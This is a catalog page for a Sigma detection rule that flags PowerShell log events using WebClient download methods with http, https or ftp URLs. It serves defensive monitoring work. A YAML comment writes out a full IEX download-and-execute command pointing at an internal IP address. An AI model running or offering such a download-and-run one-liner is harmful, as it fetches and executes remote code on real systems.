Detection rules › Sigma

Payload downloaded via PowerShell

Severity
high
Log source
product windows, category ['ps_module', 'ps_classic_script', 'ps_script']
Author
mdecrevoisier
Source
github.com/mdecrevoisier/SIGMA-detection-rules

Detects scenarios where an attacker download a payload using PowerShell.

MITRE ATT&CK coverage

Event coverage

Rule body yaml

title: Payload downloaded via PowerShell
description: Detects scenarios where an attacker download a payload using PowerShell.
references:
- https://github.com/mdecrevoisier/EVTX-to-MITRE-Attack/tree/master/TA0002-Execution/T1059.001-PowerShell
- https://thedfirreport.com/2021/08/16/trickbot-leads-up-to-fake-1password-installation/
- https://book.hacktricks.xyz/windows/basic-powershell-for-pentesters
- https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-resident-campaign
- https://unit42.paloaltonetworks.com/mallox-ransomware/
- https://thedfirreport.com/2023/08/28/html-smuggling-leads-to-domain-wide-ransomware/
tags:
- attack.execution
- attack.t1059.001 # Command and Scripting Interpreter: PowerShell 
- attack.command_and_control
- attack.t1105 # Ingress Tool Transfer
author: mdecrevoisier
logsource:
  product: windows
  category:
    - ps_module
    - ps_classic_script
    - ps_script
detection: # full command: "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
  selection_powershell_native:
    EventID: 800
    EventData|contains: 'WebClient'
    EventData|contains:
      - ".DownloadString("
      - ".DownloadStringAsync("
      - ".DownloadFile("
      - ".DownloadData("
    EventData|contains: 
      - 'http://'
      - 'https://'
      - 'ftp://'

  selection_powershell_modern:
    EventID: 4103
    Payload|contains: 'WebClient'
    Payload|contains:
      - ".DownloadString("
      - ".DownloadStringAsync("
      - ".DownloadFile("
      - ".DownloadData("
    Payload|contains: 
      - 'http://'
      - 'https://'
      - 'ftp://'

  selection_powershell_block:
    EventID: 4104
    ScriptBlockText|contains: 'WebClient'
    ScriptBlockText|contains:
      - ".DownloadString("
      - ".DownloadStringAsync("
      - ".DownloadFile("
      - ".DownloadData("
    ScriptBlockText|contains: 
      - 'http://'
      - 'https://'
      - 'ftp://'

  condition: selection_powershell_native or selection_powershell_modern or selection_powershell_block
falsepositives:
- Scripts donwloading files
level: high

Stages and Predicates

Stage 0: condition

selection_powershell_native or selection_powershell_modern or selection_powershell_block

Stage 1: selection_powershell_native

selection_powershell_native:
  EventID: 800
  EventData|contains: 'WebClient'
  EventData|contains:
    - ".DownloadString("
    - ".DownloadStringAsync("
    - ".DownloadFile("
    - ".DownloadData("
  EventData|contains:
    - 'http://'
    - 'https://'
    - 'ftp://'

Stage 2: selection_powershell_modern

selection_powershell_modern:
  EventID: 4103
  Payload|contains: 'WebClient'
  Payload|contains:
    - ".DownloadString("
    - ".DownloadStringAsync("
    - ".DownloadFile("
    - ".DownloadData("
  Payload|contains:
    - 'http://'
    - 'https://'
    - 'ftp://'

Stage 3: selection_powershell_block

selection_powershell_block:
  EventID: 4104
  ScriptBlockText|contains: 'WebClient'
  ScriptBlockText|contains:
    - ".DownloadString("
    - ".DownloadStringAsync("
    - ".DownloadFile("
    - ".DownloadData("
  ScriptBlockText|contains:
    - 'http://'
    - 'https://'
    - 'ftp://'

Indicators

Each row is a field, operator, and value that the rule matches. The corpus column counts how many other rules in the catalog look for the same combination: high numbers point to widely-used, community-vetted indicators. Blank or 1 shows that the indicator is specific to this rule.

FieldKindValues
EventDatamatch
  • ftp:// corpus 2 (sigma 2)
  • http:// corpus 2 (sigma 2)
  • https:// corpus 2 (sigma 2)
Payloadmatch
  • ftp:// corpus 2 (sigma 2)
  • http:// corpus 2 (sigma 2)
  • https:// corpus 2 (sigma 2)
ScriptBlockTextmatch
  • ftp:// corpus 2 (sigma 2)
  • http:// corpus 2 (sigma 2)
  • https:// corpus 2 (sigma 2)